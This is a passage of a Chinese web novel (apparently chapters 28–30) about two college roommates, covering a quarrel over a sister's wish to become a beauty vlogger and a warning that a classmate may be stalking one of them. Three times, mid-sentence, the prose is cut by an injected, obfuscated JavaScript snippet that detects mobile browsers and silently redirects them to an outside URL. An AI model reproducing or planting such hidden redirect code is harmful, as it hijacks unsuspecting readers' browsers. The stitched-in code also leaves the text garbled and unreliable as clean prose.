他们坐在那儿又讨论了十多分钟,直到冰激凌小姐开始好奇的眼神打量他们,艾登这才提议离开,“在走之前,我们去一趟热点话题(Hot Topic)逛逛,我想看看有没有不错的复仇者联盟的周边。” 虽然嘴上念叨着电影里的诸多缺点,艾登还是打心里喜欢着漫威系列。 “对了,”走出冰激凌店的时候,他突然记起了一件事,“之前我问你的时候,你说还没决定好——现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041205|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你想好了今年夏天的计划了吗?就像我说的,你很欢迎跟我的家人一起去度假。” 维尔兰德家在美国各地都有度假小屋,艾登最喜欢的是位于康涅狄克州的丹尼斯山国家公园里的那栋小木屋,但今年轮到艾莉来打算。毫无悬念地,她决定去佛罗里达州——维尔兰德家在迪士尼度假村里也有一栋房子,他们会在那儿住上一个月,每天去乐园里玩上一两个项目,偶尔去奥兰多附近游山玩水。 这算不上是艾登最喜欢的夏日计划,但也不算坏。 “谢谢你的邀请,但我已经决定好了。我报名了夏季课程,我的顾问调整了下学期的课程,只要我在夏天上完心理学的初级课程,下学期开始就可以正常上进阶的专业课。” 云决明还是那副漠然的模样,就和他刚才吐槽电影时没什么两样。但他礼貌拒绝的口吻忽然加重了那种冷漠,艾登的脚步停顿了一下,他感到自己好像把适才的愉悦全都忘在了冰激凌店里。这明明是个无法辩驳的好理由——云决明才换了专业,提前在夏季上完本该在大一就念完的初级专业课是无比正确的选择,但他不可避免地感到失望在心中膨胀开来,像个不合时宜闯进宴会的气球。 “好吧。”他说道,带头走进了商店,第一眼看到的就是钢铁侠闪着漂亮金属光泽的红银手甲。 在几分钟之前,他会毫不犹豫地把它买下来,这会却没了那种心思。他漫无目的地在店里挑挑拣拣,看到的每样东西突然都多了说不出的缺点,云决明默不作声地跟在他身后,没有对任何一件商品表露出什么兴趣。站在收银台后的店员头发染成了一种明亮的紫色,耳朵上似乎戴着十七个耳钉,眼神好奇地跟着他们两个转,像是在等待一个恰当的时机询问自己需不需要帮助。 就在他打量着复仇者系列的Funko Pop公仔,考虑着到底要不要买回去收藏的时候,突然听见“哗啦”一声巨响,他一转身,刚好抓住了差点滑倒的云决明,他肩膀碰倒了一旁挂着毯子的架子,幸好没有殃及其他货架。 “怎么了?”他关切地问道,心想笨手笨脚这个形容词以后应该让给对方才对。收银台后店员也跑了出来,一边说着“没关系,没关系”,一边抱起跌落地上的毯子。 “我只是……”云决明似乎都没发现自己被艾登扶着,只是脸色古怪地盯着商店门口,“我以为有人……” “有谁?”艾登也跟着往门口看去,但是那儿什么人都没有。 “……没事。” 云决明低声回答,突然,他好似回过神来了,猛地把自己的胳膊抽出来,也跟着蹲下身去,帮着一起捡毯子,“真抱歉,”他对店员小声道着歉,“给你添麻烦了。” 艾登也跟着帮忙整理,他瞧见里面有一条印着小美人鱼的毛毯,便高兴地一把抽出来,“艾莉会喜欢这个的,”他说道,“她最喜欢的迪士尼公主就是爱丽儿。” “艾莉这么大了还喜欢迪士尼公主?”云决明扭头,不可思议地瞧着他。还没等艾登说什么,一旁的店员倒是开口了,“不管年纪有多大都可以喜欢迪士尼公主啊,”她扶起架子,一一把毛毯挂好,同时指了指她身上穿的T恤,上面印着所有的迪士尼公主,“我的奶奶今年已经八十五岁了,可她还是爱白雪公主爱得死去活来。圣诞节的时候,我才给她送了一床印有白雪公主的床单,她喜欢得不得了,她六十岁生日的时候,我们全家带她去了迪士尼乐园,她见到白雪公主的时候,就跟个七岁的小女孩似的乐不可支。” 云决明对这种美国人惯有的热情健谈总是非常不适应,他默默地把毯子递给对方,只勉强憋出了一个“嗯”字。 “替我向你的奶奶问好,”听上去,她是个可爱的老太太,艾登接下他的话茬,冲店员眨了眨眼,顺手把毛毯递了过去,“麻烦帮我结账。” 艾登目送着她转身往收银台走去,云决明还在频频回头,一个劲地冲门口打量。 “我之前邀请你去度假的时候,忘记告诉你我们家今年决定去哪儿了,”不知道云决明究竟看到了什么,但艾登打算把他的注意力转移开,“今年轮到艾莉决定度假地点,所以她一如既往地选择了迪士尼——你别看她平时一副又拽又叛逆的模样,她现在还会穿着印有小美人鱼的睡衣呢,所以无论什么时候我看见与爱丽儿有关的东西,我都会买下来带给她。” 他不确定云决明听进去了多少,因为后者看起来一直心不在焉,仿佛还在为适才的事情感到烦心。等他们离开商店,艾登正犹豫着要不要提议直接回家时,云决明突然开口了。 “我觉得你应该支持艾莉做她想做的事情。” 他望着异常惊讶的艾登,语气非常坚定。 29. Chapter·Seven 云决明觉得艾登最近似乎有点不高兴。 但这跟他提了艾莉的事情没关系,云决明可以肯定这一点。 当时,艾登脸色的确闪过了一丝混合着不悦的愕然。 “我们回去吧,”他轻声说,语气倒是听不出什么情绪,“回去再说。” 他们沉默地走向停车场,云决明落后了半步,视线始终聚焦在艾登浅棕色的后脑勺上,险些在走下人行道时绊了一跤。他应该后悔说出那句话的,云决明心想,手又在裤兜里握成拳头,他惹艾登不高兴了。 然而,就像是能从艾登刚硬,微微沾了一点汗水,在夏风吹拂下来回摆动的发丝上读出对方的情绪似的,有道很小的声音在他心中悄声说,艾登没有生气,他只是很困惑,他没料到你会突然改变立场,站在艾莉的那一边——说不定这会他还在心里掂量你喜欢他妹妹的可能性有多少。 这个想法多多少少安抚了他狂跳的心脏。 即便是此刻,即便他们已经成为室友,即便他们已经分享了彼此家庭的秘密,即便云决明很清楚自己在对方心中的分量甚至超过他的橄榄球队队员——自从假期开始,艾登已经推掉了最少十几个派对的邀请,只为一手包揽所有搬进新家的繁琐事务;时不时地,云决明仍然觉得与艾登成为朋友是一件不切实际的事情,仿佛是一场美梦的余韵,喷嚏,一句不合时宜的话,或者是无意中的眼神,不小心越界的距离,都会让他随时滑入冰冷的现实中。 所以他躲避着艾登偶尔的触碰,所以他登记了夏季课程,所以他在对方面前永远礼貌又疏离,他害怕在某个谁也预料不到的瞬间,艾登会发现他发颤的指尖,会注意到他控制不住的目光,会潜入他的睡眠,发现他一遍又一遍地在脑海中重温着那一刻,艾登拉住他,温柔地吻下来的瞬间。鼻尖的干净体味,T恤中露出的古铜色肌肤,滚烫的触碰,若有若无的笑意,所有这一切在梦中织成一道网,让他伸不出手推开,反而禁不住用手指轻轻擦过嘴唇,仿佛还在留恋。 是因为他在现实中就是这么做的,因此才有了梦中的依依不舍,抑或他早就在梦中经历了一切,才会有现实中的举动,云决明分不清。上一个试图亲吻他的人是秦诗,在毕业舞会的最后一支舞上。只是在她冰冷双唇贴上的一瞬间,云决明踉跄推开她,胃中翻江倒海,晚餐连同不堪的回忆全从喉咙鼻孔里喷出,等他狼狈地直起身子,秦诗早就消失了,那是他最后一次见到她。 五月柔和的日光打在头顶,他们并肩走过一排排残疾人专用车位,被积雪侵蚀了一个冬天的油漆斑驳不清,有几个员工正在重新给地面涂上蓝色,空气中有若有若无的颜料臭味。云决明的目光落在艾登手上的那个黑色袋子上,它随着脚步微微晃荡,毫不起眼。 虽说他一直小心翼翼,却仍然有那么一两个刹那,云决明会突然勇敢起来——或者愚蠢起来,这两者之间的界限并没有那么清晰——然后说出一些话,做出一些事。比如同意成为艾登的室友,比如最终决定去看那场球赛,比如换成心理学专业,比如劝艾登接受艾莉想做的事情——最后这件算勇敢还是愚蠢,云决明不知道,但他至少知道这是正确的,此前艾莉凄笑着说的那句话仍然在他脑海中回荡,这是唯一阻止她继续自残的方法。 因此,他在副驾驶坐好,系上安全带时,云决明又重复了一遍自己的话。 “我跟你讲过我反对的理由,Ming,需要我再说一遍吗?” “你反对,因为你以为那不过是一个青春期女孩的无所事事,三分钟热度,跟风的作为,事实却非如此。”手心里都有汗意,云决明不敢扭头看艾登的侧脸。如果说这个世界上只有一件事能让他愤怒的话,这件事一定跟艾莉有关。 “那你说说。”艾登的语气很平静,只是猛地在红灯前停下的车身暴露了他此刻的心情。 “艾莉只是想要别人认可仅仅作为‘艾莉’的她而已。在现实中这是一件不可能的事情,她上的是你待过的学校,将来只要她还待在约州,无论走到哪她都只会是‘艾登的妹妹’,唯一能让她作为‘艾莉’的,就只有网络。” “妈妈已经发话了,如果艾莉以后不想去U大念,她不会介意。你知道我妈妈是P大的学生,所以即便她决定要去那儿,她也能作为校友子女|优先入学。” “这跟她今后要去哪儿念大学无关,”云决明低声说,“艾莉很痛苦,艾登,相信我。” “在油管上当个美妆博主就能让她不痛苦了?” “在网络上,她不必是‘那个小小年纪就没了父亲的女孩’,她不必是‘艾登的妹妹’,她不必是那个每次她照镜子时都能看见的自己,她是别人眼中‘美丽,聪明,有钱,又有才’的博主,这只是她用来逃避现实的方式,艾登,只有这样她才能开始疗伤。”云决明缓缓说道。 艾登没有回答,福特野马没有转进回家的路,而是拐上了约州的高速公路,引擎轰鸣着以105英里(170公里)每小时的速度在空旷的道路上疾驰,这个速度,即便以约州人开车的方式来说,也算快了。 “你对艾莉的保护,反而是对她的伤害。”云决明抓紧了“oh shit”把手,强忍着自己也要喊出“oh shit”的心情,保持着声音的淡然,“她是你的妹妹,不是你的女儿,也不是一个需要被你收在玻璃柜子里的瓷娃娃。她有保护自己的能力——我的意思是说,不管网络上的谩骂有多么严重,不管她做这件事会遭到多少非议,都不可能比失去父亲更让她痛苦。” 艾登紧抿着嘴唇,仍然一言不发。 “我觉得,艾莉那么喜欢小美人鱼公主,也许有一部分原因是因为……这是你们之间的联系里,唯一能让她觉得你像个哥哥的。” 沉默。 “艾莉需要的是哥哥,不是父亲的替代品。” 沉默。 “放手吧,艾登。” 沉默。 话说到这份上,云决明也无法再坚持下去。他微不可闻地叹了一口气,放开把手,靠在椅背上,望着窗外高速公路的护栏模糊的一晃而过,渐渐昏昏欲睡,汽车里只有艾登那一侧开了冷气,整体温度维持在一个很舒服的范围中,沉甸甸地把他的眼皮往下压,天色仿佛一下子就黑了下来,却仍有日光照射下来。 “Siri,打给艾莉。” 艾登的声音让他一下子惊醒过来,云决明一下子坐直了身子,茫然四顾,天空已经变成了染着淡橙的青绿色,暮色沉在远方的黑色树影下,看来他睡过去了好几个小时。窗外的景色是陌生的居民区,不知道身处何处,唯一能确定的就是他们已经下了高速。 “干嘛。”电话响了两声,就被接了起来,艾莉极其不耐烦的声音透过扬声器传来,“我很忙。” “这个周末,你想过来我的公寓录制你的第一期美妆博主视频吗?”艾登一只手的指尖抵着额头,另一只手握着方向盘,双眼只是注视着前方,语气还是一样平静。 艾莉一时间没回应,但背景里的沙沙声表明她没挂电话。 “艾莉,听得到吗?” 耐心的等了几分钟,艾登才再次开口问道。 “我这个周末没空,要为下周考试做准备。但我下个周末可以编造一个借口溜出来。”她的声音也很平静,但云决明可以确定她一定在笑。 “那到时候再说。” “嗯。” 电话挂了。 “为什么要编造借口?”云决明不解,难道艾莉不可以直接说她要去哥哥家玩吗? “妈妈不会相信她想来拜访我的,”艾登解释道,“就算她勉强同意了,八成也会开车跟在后面,看看艾莉是不是想趁机捅我几刀,以泄私愤。” 这个笑话没让云决明笑出来,倒是艾登自己笑得不行。 “谢谢你。”笑声停下后,艾登用轻得几乎听不见的声音说道,如果不是云决明及时回头,捕捉到了对方脸上现出的一丝笑容——淡淡的一点,像是茫茫黑夜中的一丝昏暗火星,既悲哀又带着解脱——他几乎要以为这是幻听,“谢谢你,Ming。” 因为那一抹笑意,云决明很肯定这件事没让艾登不高兴。 但奇怪的是,自从那天去看完电影以后,不知道为什么,艾登突然又重新燃起了对派对的热情,橄榄球队员的邀请,啦啦队队长的邀请,杰森的邀请,他一个都没有拒绝过。经常云决明一大早起来,艾登要么是还没回家,要么就是倒在床上,不省人事。 他仍然会给云决明做饭,美名其曰是锻炼厨艺,自己却不会留下来跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041206|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一起吃,也没有再提起要跟他一块看电影马拉松的事。偶尔云决明抬眼看他,只能捕捉到他微微皱起眉头的神情。这几天以来,云决明甚至觉得他每天遛洛克希的时间,都比与自己相处的时间多,就像他极力想要逃离什么的似的—— 是自己吗? 还是说,他是在为什么事不高兴? 周三的晚上,那已经是艾登连续五天晚上出去参加聚会了,云决明安静地在自己房间里看与犯罪心理有关的书籍。他此前涉及的都是与心理健康有关的部分,还没怎么看过这方面的书,他极力集中精神,但一个小时过去了,他也就看进去了两页。 忽然,他虚掩着的房门被推开了。口中咬着狗绳的洛克希走进来,把绳子放在他的脚下,尾巴耸拉着,委屈巴巴地看着他。 “洛克希,我得学习。”他头也没抬。 “嗷呜。”洛克希轻轻地叫了一声。云决明知道它为什么想要出去玩,艾登原本一天会遛洛克希两到三次,现在却压缩到了一到两次——大多数时候都是一次。最近天气很好,洛克希肯定憋坏了。 “但我真的得学习,洛克希。” 有什么在拱着他的腿,云决明低头一看,一颗硕大的狗头拼命地从桌子与椅子的缝隙中挤了进来,搭在他的大腿上,湿漉漉的双眼期盼地看着他,爪子急切地刨着那根狗绳。 云决明还真没见过洛克希这么谄媚的模样,看来它为了能出去走走,已经豁出去了。 “真的不行,”他把自己手上那本厚厚的书展现给它看,“看到了吗,我得把这本分析连环杀人犯心理的书读完,这是为了帮助你的主人侦破案件,好吗?乖,我会跟艾登提一句,让他明天带你多走走的。” 也许是听出了他语气中的坚决,洛克希垂头丧气地走到了房间另一头,闷闷不乐地趴下了。云决明连喊了它几声,洛克希都只把脑袋埋在手臂里,不肯应答。 眼前这一幕突然给了云决明一个滑稽的想法——艾登不会是因为他之前拒绝了跟他一起去度假,才表现得那么奇怪的吧? 当他回绝的时候,云决明确确实实在艾登眼里瞧见了不加掩饰的失望。那一天拢共就没发生几件事,而在那之前,艾登对他的态度非常正常,没有任何改变。艾登如果不是因为艾莉的事情不高兴,也不是因为他吐槽了漫威电影就不打算跟他说话,那很有可能就是因为这件事。 这么一想,云决明突然觉得有点哭笑不得。 “好了好了,我带你出去玩。”他丢下了手中的书,捡起了地上的狗绳。洛克希以迅雷不及掩耳之势跳了起来,“哒哒哒哒”地冲出了房间,等云决明换好衣服下楼的时候,它已经在公寓门口翘首以盼,尾巴把木地板拍得啪啪直响,假如说楼下不是车库,而是另一间公寓的话,估计里面的租客准会以为地震了。 “别急,别急,让我先穿上鞋子。” 洛克希焦急地在他身边打转,时不时抬起一只爪子又放下,看来是恨不得能替他绑鞋带。 也许我也应该主动向艾登提议,一起去游乐园玩个一天。云决明心想,他仿佛都能从洛克希激动得直喘气的脸上瞧见艾登的神情,也许这能让他恢复以往的态度,知道自己拒绝他并不是因为不想和他待在一块。 正考虑着自己该怎么开口,云决明的手机突然响了。 是个陌生号码。 没有丝毫犹豫,云决明立刻挂断了对方的来电。一般只有艾登和他母亲会给他打电话,除此以外都只会是广告推销。 谁知对方锲而不舍地再打来了一次。 云决明再挂断了一次。 等到手机第三次响起的时候,云决明可以确定对方应该不是什么推销员。怀着无法名状的厌恶和紧张,他按下了接听键。未知来电人带来的未知消息,总会让他这种不愿社交的人起一身鸡皮疙瘩,就仿佛瞧见有人正试图撬动自己的生活,掀翻一切固有的轨道一样令人不快。 “Hello?”他咽了一口口水,小声说道。 “喂?是云决明吗?” 是高谏琦。“嗯,怎么了?”云决明松了一口气,嗓音也不再像是被捏着一样尖细了。 “我想跟你见一面,有些事情要跟你说。” 她语气凝重地说道。 30. Chapter·Eight 云决明打开车门,先拿起垂在脚垫上的狗绳,紧紧在手上缠绕了几圈,这才侧开身子。得到了信号的洛克希一个箭步就冲下了车,撒着欢向前跑去,直到狗绳扯得笔直,没法再迈动一步,这才兜回来,在车底,路边,还有树根处寻寻嗅嗅。 他第一次带洛克希出来时毫无经验,狗绳松松地握在手里,没防备被它一把拉了个趔趄,牵绳也脱手而出。大狗欢脱得跟个刚学会跑步的小马驹似的,只管闷头向前冲,急得云决明一边大喊它的名字,一边跟在后面没命的狂奔——这实在能算得上是他人生排名前三的出糗时刻——他绕着街区跑了三圈才把洛克希抓住。直到那时,他才后知后觉地记起,洛克希是上过狗狗学校的,只要喊一声停下,它就会立刻停住。 比起那一次,云决明已经有经验多了,他稳稳地站在车边,一手握着把手。等洛克希安静下来,不再那么兴奋以后,才把门关上,锁好车,牵着它往狗狗公园走去。 这已经是他第三次带洛克希出来散步了。 艾登并不知情,云决明也没有向他提起这件事——这会显得他仿佛在暗示艾登不是个好主人。也许是因为每个人都想赶在艾登去度假以前和他聚上一把,好好乐一乐,艾登这段时间的社交日历挤得满满当当的,夜夜邀约不断,Instagram上每天都能瞧见他新发布的合照,背景不变的是绚烂的灯光,泳池,比基尼美女,烧烤,向全世界宣告着他的夏天过得有多么精彩。相比之下,云决明想要邀请他去游乐园玩的提议就显得寒酸多了,因此他一直没能开口说出。 唯一的好处是,他渐渐喜欢上了与洛克希相处的片刻——约州夏日夜晚很美,天朗气清,凉爽宜人,非常适合散步。这让他回想起了从前在广州度过的日子,在下过雨的月夜沿着江边散步,凉风带来一点淡淡的咸味与潮湿,他紧紧牵着小姨和姨夫的手,跳跃着踩在青石板上。他永远记得那种惬意。 夜晚的狗狗公园只有寥寥数人,云决明一眼就瞧见了站在公园入口处等他的高谏琦。这儿离艾登家不远,是个治安很好的街区,看来她也知道这一点,不然不会下车等他。 “你来早了。”他老远就招呼了一声,好让对方知道是自己,“没等很久吧?” “也就几分钟。”高谏琦应了一句,她穿着牛仔裤和短袖衬衣,长发藏进了棒球帽里,看着就像个男孩,很新鲜。云决明都不记得上一次见到她穿常服是什么时候了,似乎她身穿蓝绿色制服的形象已经深深固定在自己心里。 “洛克希,这是高谏琦。”他拉住了大狗,后者非常警惕地上下打量着她,狐疑地在她脚边闻来闻去,“高谏琦,这是洛克希,你最好不要摸它,它对生人很警惕。”即便洛克希已经见了他几个月,和他熟络起来也是最近几天的事。 高谏琦弯腰仔细地打量了洛克希几眼。 “这不会是艾登·维尔兰德的狗吧?”这话听起来是个问句,但她的语气很肯定。 云决明愣住了。 前几天,高谏琦打电话告诉他,她有事想见面谈的时候,云决明第一反应就是自己母亲出事了。 “不关云阿姨的事,”高谏琦的声音透过手机模糊地传来,“我想跟你谈的这件事没法在电话里说,一定得见面,你什么时候有空?” “这件事跟我有关系?” “跟你有关系,你一定会想要知道的。” 他很恐惧这种不在电话里讲清楚,非要见面才说的套路,会让云决明在接下来的几天里惶惶不可终日,百般思索着高谏琦能知道什么关于自己的事情。“我今晚有空。”他立刻说道,这事越早解决越好。 “我今晚不行,我在医院的实习还有几天才结束,你周五晚上有空吗?” “有。” 现在看来,这场会面该是与艾登有关,否则,她绝无可能如此精准地猜到洛克希的主人是谁。艾登的确在他的Instagram上面晒出过洛克希的照片,然而旁人很难想象他这样的社交底层首陀罗,会与艾登那样的婆罗门有什么交集——哪怕是帮他遛狗这种事,通常也轮不到云决明来干。 “你知道?”虽说猜到了对方的来意,但云决明不愿让她觉得自己咄咄逼人地反将一军,因此只是平静地回了一句。 “这就是我想跟你见面谈的事情。”她直起身子。洛克希这个时候已经不耐烦地呜呜了起来,一个劲地用脑袋拱着云决明,想要进公园去玩。云决明只好示意她边走边说,“我要给你看一张照片。” 她把手机递了过来,云决明侧头一瞧。虽说偷拍的人手抖了,照片有点模糊,却还是能看得出那是他和艾登,背景是华人超市前的停车场。不用说,这肯定是那天一见到艾登就窃窃私语的几个中国女孩拍的。 “约莫一个星期前吧,有个女孩,叫唐泽茹,在微信群里发了这张照片,问有没有人认识艾登身边的那个人——也就是你。” “嗯。”云决明应了一声,他松开了狗绳的长度限制,洛克希已经远远地奔了出去,它喜欢跑到狗绳长度的极限,再跑回云决明身旁,接着又继续向前跑,如此往复,乐此不疲。 “我——我觉得我得先跟你说一下这个唐泽茹的事。”瞥了他一眼,高谏琦谨慎地说道。很显然,她认为他应该把这件事看得更严重一些。 “你说吧。” “还记得我之前跟你提到过,那些关于艾登的家庭很传统,他母亲希望他能尽快结婚,找个华人女孩的事吗?” 她没有戳破云决明那时候撒谎自己只听过艾登名字的事,他很庆幸,“嗯。” “这些事,都是唐泽茹说的。” 这个女孩在骗人,云决明很清楚祝阿姨对艾登未来的婚嫁对象没有要求,也没说过希望艾登能尽快结婚,这都是无稽之谈。 “唐泽茹一直以来给大家的印象都是她非常有钱——现在我怀疑这根本是她给自己塑造的虚假人设——家里跟诸多约州和纽约的名流家族有关系,这其中自然也包括艾登家。她说这些话都是艾登的妈妈亲口告诉她的,还暗示过大家艾登的妈妈很欣赏她。所以很多女生都相信了她说的话。 “她有一个小号潜伏在群里,经常和她的大号一应一和。比如说小号会抛出一个话题,大号马上跟进,借机炫耀自己——都是有多少男人一见到她就神魂颠倒啊,或者她今天眼也不眨地刷了多少钱的信用卡啊,之类的。我之前也相信了她真的很有钱的鬼话,从她手上低价买了两个包的闲置,但我收到货以后发现她卖的是假货,就退了回去。 “关键就在这,她寄来名牌包的快递单上没有地址,但她给我的退货地址我查了一下——因为我好奇像她这么有钱的人住的是什么样的地方,然后我发现,那就是个很廉价的单人公寓楼,专门出租给学生的。当时我就起疑心了。 “然后,大约是五月初的时候吧,我帮云阿姨在北美省钱论坛上发布租房消息的时候,看见有人挂骗子。本来这种帖子我一般都懒得理会,因为我一般不在上面收闲置,但是我看缩略图很像是我给唐泽茹寄回去的那两个假包中的一个,就点进去看了一眼。 “当时我寄回去假包的时候,唐泽茹坚决不肯出邮费——所以等于我亏了来回的邮费,但我这个人脾气比较软,加上在医院实习,日夜颠倒,根本没有时间跟对方扯来扯去,这种事我就算了。但是发帖的这个女生显然不肯吃这种亏,她买的的确是我退回去的包,唐泽茹不肯把邮费也退给她,所以她勃然大怒,在论坛上把她挂了出来。地址,电话,收件人的假名,都跟我当时退回去时填写的一模一样,只是她挂出来的微信号不是唐泽茹平时使用的那个,而是她的小号。我当时才懂得了,这两个号是同一个人。” 说到这里,她扭过头,意味深长地望了云决明一眼。 “之前,那个在微信群里说自己通宵查艾登Instagram账户新关注用户究竟是谁的女孩,就是唐泽茹的小号。” 云决明的手指登时收紧了,寒意从指尖迅速蔓延至全身。他尽量让自己的语气听起来若无其事,“我猜,在群里询问我是谁的,也是她的小号?” “没错。” “你怎么说?” “我什么也没说。当时很快就有几个女孩回复她,说这是艾登的家教,跟他上同一节统计学课,两个人关系很好,云云。” 即便高谏琦觉得云决明能和艾登这么熟络是一件不可思议的事,她也没有表现出来,语气很寻常。云决明这时候才猛然意识到,其实早在二月份高谏琦应该就知道他和艾登认识的事情,这么久以来却没跟自己提起过一个字,至少从这一点,就能确定她应该对艾登完全不感兴趣。 “然后,唐泽茹的大号就跳了出来,说艾登跟你在校外搬到一块去住了。” “什么?”云决明这下是真的吃了一惊,“她怎么会知道这种事?” 艾登很注意保护自己的隐私,云决明觉得自己可能是全校唯一一个知道他家地址的人——他没有问过艾登为什么从一开始就这么信任自己,他宁愿相信是因为艾登从自己身上看出了某种不一般的特质,某种让自己在他心中独一无二的特质。 要是不知道地址,想知道艾登搬家了,搬到哪去了,又跟谁住在一起,并不是一件容易的事情。艾登到现在都没有跟他的狐朋狗友们说过他搬家的事情。“要是知道我有了一间公寓,那帮人肯定嚷着要来家里开派对,”艾登对于这件事只是轻描淡写说了一句,“我可不想替那群人收拾善后,也不想他们脏兮兮的鞋子就这么踩在我亲自挑选的长毛地毯上,再说洛克希肯定得送走,不然它会叫得没完没了——总而言之,实在太麻烦了,这事没必要跟别人说。” “这就是我想跟你谈的事情,”高谏琦沉声说道,“我觉得这女孩可能在跟踪你。” 刹那间,云决明不可抑制地颤抖了起来——在大华超市的收银台前,还有在热点话题陪艾登挑选漫威周边时,他都感受到了一模一样的针刺视线,仿佛有一只毒蜂落在了背上,叫人能感觉到那锋利的毒针正在肌肤上寻寻觅觅,细小又毛茸茸的爪子刮过每一根寒毛,每一下触碰都带着不善的气息。光是回想起那一刻,都让云决明感到不寒而栗。 这是说得通的,大华超市前的那几个女孩拍下了他和艾登的照片,她们有可能将这张偷拍泄露 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041207|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了出去,让唐泽茹知道了他们在哪。他们在超市里待了很久,不管她在哪,都有绰绰有余的时间赶过来。假设她偷听到了他和艾登在收银台前的对话,就能知道他们住在一起这件事,甚至知道他们要去看复仇者联盟2的计划。这附近只有一家电影院,她有可能当晚就蹲守在那,一无所获以后第二天早上又去了一趟,恰好艾登给他点的冰激凌拍了张照片,还透露了这是在哪点的,让她轻而易举就找到了他们。 想到这,云决明有种想要呕吐的恶心感。 “就连我,也是今晚瞧见了你把这条大狗牵过来,才敢肯定你确实和艾登搬到一块去住了。”高谏琦继续说了下去,“唐泽茹都不认识你,怎么能确定这件事呢?我给你看她当时说的那些话——”她划了几下手机,递了过来,“你看她的语气,一副自己是内部人士,很清楚艾登家发生了什么事的姿态,言语中还暗示你是艾登妈妈找来照顾艾登,帮助艾登学习,类似仆人一样的角色。如果我不是你家的房客,又知道她满口谎言的本质,我根本不会相信她说的话——然而,就因为她说的很有可能是真的,才让我留了个心眼,打算找你说说这件事。” “谢谢你告诉我这件事。” “不客气,”高谏琦闻言笑了笑,她的神色中有一种真诚的温柔,“都是中国人,在外相互照应,应该的。” 这句话让他想起了秦诗。 刹那间,他只觉得口鼻都被回忆淹满,无法呼吸。高谏琦和他的脚步踩在草地上发出的沙沙声,远处小狗的吠嗷,洛克希来回奔跑发出的哒哒声——哒哒哒哒,哒哒哒哒,都离他很远很远,仿佛漂浮在一个不切实际的梦中,或是一副他曾经瞧见的插画,平静又祥和,散发着夏日夜晚湿润的气息,于是他一头栽入其中,如鸵鸟埋沙。 现实,是他仍然走在高中那条无止境,永远不会到头的走廊上。秦诗瑟缩在他身后,紧紧抓着他的书包带子,云决明满心恐惧,知道即将要发生的事情,却停不下自己的步伐,只能举起手臂,躲避吐来的唾沫,抵御猛烈的推搡,挡住袭击脑门的巴掌,秦诗会帮他拽住书包,以防突然被扯走,视线被手臂遮得模模糊糊,如此就不必瞧见别人怪笑着做“眯眼睛”的歧视动作。 从他身边走过的是一张张冷漠的华人面孔,独善其身,不闻不问。他们出生在美国,说的是一口流利的英文,接受的是美国的教育,即便他们有些认为自己是中国人,也不敢公然宣称自己与云决明和秦诗是“同类”。实际上,高中四年,云决明从未得到过哪怕一点来自华人的善意或援助。 “我们只有彼此,”他那时反复这么对秦诗说,就像这是个轻易就会被人遗忘的秘密,“我们必须要相互照应,我们都是中国人,没有别人会帮我们,没有别人会为我们说话,没有老师会愿意为了我们出面,我们只有彼此。” 他错了。 然而,他多么希望这番话是真的。 “我觉得,也许你可以偶尔回来一趟……” 高谏琦的话猛地把他拉了回来,走廊轰然倒塌,他又重新置身于晴朗月色之下,口鼻中隐约能闻到花香,湿润的风柔柔拂过手臂。云决明迷惘地望着似乎有点不好意思的高谏琦,“我没听清楚你说了什么。”他喃喃地说道。 “我只是说,也许你偶尔可以回来看看云阿姨,”高谏琦吞吞吐吐地说道,神色有点尴尬,“嗯……其实她知道我今天要来见你,还让我来问问,你最近吃的怎么样,缺不缺钱花,和室友相处的怎么样——你没跟她说你的室友是艾登吗?” 云决明以沉默来回答这个问题。他不想让自己的母亲知道艾登的存在,也不想让艾登知道自己母亲的存在,在他心里,这两个人最好永远都不要相见。他不想艾登从他母亲瞧见自己的过去,瞧见自己是被一个怎样的女人生下来,又被一个怎样的女人抛弃,捡回,抚养,他害怕艾登会在母亲身上找到某种与自己的相似之处,从而恍然大悟,意识到他不过是个再平凡不过,甚至有些庸俗的男孩。他也不想母亲见到艾登,不想让她的“为你好”中又增添了一条理由——要不是我把你带来了美国,你又怎么会认识这么好的一个朋友? “我明白了,”这沉默持续了很久,到了高谏琦也终于读懂空气中无言信息的地步,“我不会跟云阿姨说你的室友是谁。” “谢谢。” “那你能偶尔回去看看吗?”高谏琦欲言又止,最终只叹息着问出了这句话。 “我会考虑的。”如果母亲想要自己回去看她,她应该亲自来跟自己说。 “我很快也要搬走了。”高谏琦低着头,云决明看不清她的脸色,只能听见她闷闷的声音,“楼上的陈哥和魏叔叔,还有楼下那两个老白,都不是什么很细心的人,我也不知道以后会来什么租客。云阿姨一直很照顾我,所以我不想她……你明白我的意思吗?” “嗯。” 